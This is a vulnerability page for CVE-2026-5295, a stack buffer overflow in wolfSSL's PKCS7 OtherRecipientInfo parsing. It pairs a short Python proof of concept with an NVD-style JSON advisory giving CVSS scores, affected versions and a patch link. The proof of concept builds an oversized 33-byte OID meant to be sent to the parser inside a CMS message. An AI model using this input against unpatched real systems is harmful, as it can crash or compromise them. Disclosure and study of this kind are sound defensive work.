CVE-2026-5295

#!/usr/bin/env python3 """ PoC for CVE-2026-5295 (wolfSSL Stack Buffer Overflow) This script demonstrates the creation of a malformed CMS EnvelopedData message with an OtherRecipientInfo containing a long OID (> 32 bytes) to trigger the overflow. """ import binascii def create_malformed_oid(): # Construct an ASN.1 Object Identifier with a length > 32 bytes (MAX_OID_SZ) # Tag: 0x06 (OID), Length: 0x21 (33 bytes) oid_tag = 0x06 oid_length = 0x21 # 33 bytes, exceeds MAX_OID_SZ (32) oid_payload = b'A' * 33 malformed_oid = bytes([oid_tag, oid_length]) + oid_payload return malformed_oid def generate_exploit_cms(): # This is a simplified representation of the crafted CMS structure. # In a real exploit, this would be wrapped in a valid CMS EnvelopedData # structure targeting the wc_PKCS7_DecryptOri parsing logic. exploit_data = create_malformed_oid() print(f"[+] Generated malformed OID length: {len(exploit_data)} bytes") print(f"[+] Hex data: {binascii.hexlify(exploit_data).decode()}") print("[+] Send this data within a CMS EnvelopedData OtherRecipientInfo structure.") return exploit_data if __name__ == "__main__": generate_exploit_cms()

{"cve": {"id": "CVE-2026-5295", "sourceIdentifier": "[email protected]", "published": "2026-04-09T23:17:01.093", "lastModified": "2026-04-29T14:08:46.683", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A stack buffer overflow exists in wolfSSL's PKCS7 implementation in the wc_PKCS7_DecryptOri() function in wolfcrypt/src/pkcs7.c. When processing a CMS EnvelopedData message containing an OtherRecipientInfo (ORI) recipient, the function copies an ASN.1-parsed OID into a fixed 32-byte stack buffer (oriOID[MAX_OID_SZ]) via XMEMCPY without first validating that the parsed OID length does not exceed MAX_OID_SZ. A crafted CMS EnvelopedData message with an ORI recipient containing an OID longer than 32 bytes triggers a stack buffer overflow. Exploitation requires the library to be built with --enable-pkcs7 (disabled by default) and the application to have registered an ORI decrypt callback via wc_PKCS7_SetOriDecryptCb()."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:P/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.0, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.1, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:wolfssl:wolfssl:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.9.1", "matchCriteriaId": "261C41E4-7F04-4C98-AD63-110136730EE9"}]}]}], "references": [{"url": "https://github.com/wolfSSL/wolfssl/pull/10116", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}